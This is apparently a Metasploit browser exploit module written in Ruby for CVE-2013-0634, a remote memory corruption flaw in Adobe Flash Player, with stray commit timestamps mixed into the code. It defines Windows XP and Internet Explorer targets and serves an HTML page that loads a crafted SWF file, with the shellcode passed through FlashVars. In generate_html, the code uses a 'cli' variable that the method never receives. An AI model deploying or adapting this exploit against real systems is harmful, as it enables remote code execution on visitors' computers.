2014-01-18 16:07:11 +00:00
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##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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2014-01-18 22:04:46 +00:00
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include Msf::Exploit::Remote::BrowserExploitServer
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2014-01-18 16:07:11 +00:00
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def initialize(info={})
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super(update_info(info,
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'Name' => "Adobe Flash Player 11.5 Remote Memory Corruption",
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'Description' => %q{
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This module exploits a vulnerability found in the ActiveX component of Adobe
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Flash Player before 11.5.502.149. By supplying a specially crafted swf file
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2014-01-18 22:04:46 +00:00
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with special regex value, it is possible to trigger an memory corruption, which
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results in remote code execution under the context of the user. This
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vulnerability has also been exploited in the wild in February 2013.
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2014-01-18 16:07:11 +00:00
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'Unknown', # malware sample
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'Boris "dukeBarman" Ryutin' # msf exploit
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],
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'References' =>
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[
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[ 'CVE', '2013-0634' ],
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[ 'OSVDB', '89936'],
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[ 'BID', '57787'],
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[ 'URL', 'http://malwaremustdie.blogspot.ru/2013/02/cve-2013-0634-this-ladyboyle-is-not.html' ],
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[ 'URL', 'http://malware.dontneedcoffee.com/2013/03/cve-2013-0634-adobe-flash-player.html' ],
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[ 'URL', 'http://www.fireeye.com/blog/technical/cyber-exploits/2013/02/lady-boyle-comes-to-town-with-a-new-exploit.html' ],
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[ 'URL', 'http://labs.alienvault.com/labs/index.php/2013/adobe-patches-two-vulnerabilities-being-exploited-in-the-wild/' ],
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[ 'URL', 'http://eromang.zataz.com/tag/cve-2013-0634/' ]
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],
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'Payload' =>
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{
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'Space' => 1024
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},
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'DefaultOptions' =>
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{
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'InitialAutoRunScript' => 'migrate -f',
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'EXITFUNC' => 'thread',
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'HTTP::compression' => 'gzip',
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'HTTP::chunked' => true,
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},
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'Platform' => 'win',
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'BrowserRequirements' =>
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{
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:source => /script/i,
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:clsid => "{D27CDB6E-AE6D-11cf-96B8-444553540000}",
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:method => "LoadMovie",
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:os_name => /win/i
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},
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'Targets' =>
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[
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[ 'Automatic', {} ],
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[
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'Windows XP with IE 6',
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{
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'os_flavor' => 'XP',
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'ua_name' => 'MSIE',
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'ua_ver' => '6.0'
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}
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],
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[
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'Windows XP with IE 7',
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{
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'os_flavor' => 'XP',
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'ua_name' => 'MSIE',
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'ua_ver' => '7.0'
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}
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],
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[
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'Windows XP with IE 8',
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{
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'os_flavor' => 'XP',
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'ua_name' => 'MSIE',
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'ua_ver' => '8.0'
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}
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],
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],
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'Privileged' => false,
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'DisclosureDate' => "Feb 8 2013",
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'DefaultTarget' => 0))
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end
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2014-01-18 22:04:46 +00:00
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def on_request_exploit(cli, request, target_info)
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print_status("request: #{request.uri}")
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if request.uri.match(/\.swf$/i)
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print_status("Sending SWF")
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send_response(cli, generate_swf, { 'Content-Type'=>'application/x-shockwave-flash' })
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else
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print_status("Sending HTML")
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send_response_html(cli, generate_html(target_info))
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end
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end
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2014-01-18 22:04:46 +00:00
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def generate_html(target_info)
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shellcode = get_payload(cli, target_info).unpack("H*")[0]
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2014-01-18 22:04:46 +00:00
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%Q|<html>
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<body>
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<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
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<param name="movie" value="#{get_module_uri}/Main.swf" />
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<param name="allowScriptAccess" value="always" />
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<param name="FlashVars" value="his=#{shellcode}" />
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<param name="Play" value="true" />
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</object>
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</body>
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</html>
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end
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def generate_swf
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path = ::File.join( Msf::Config.data_directory, "exploits", "CVE-2013-0634", "Main.swf" )
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swf = ::File.open(path, 'rb') { |f| swf = f.read }
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return swf
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end
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end
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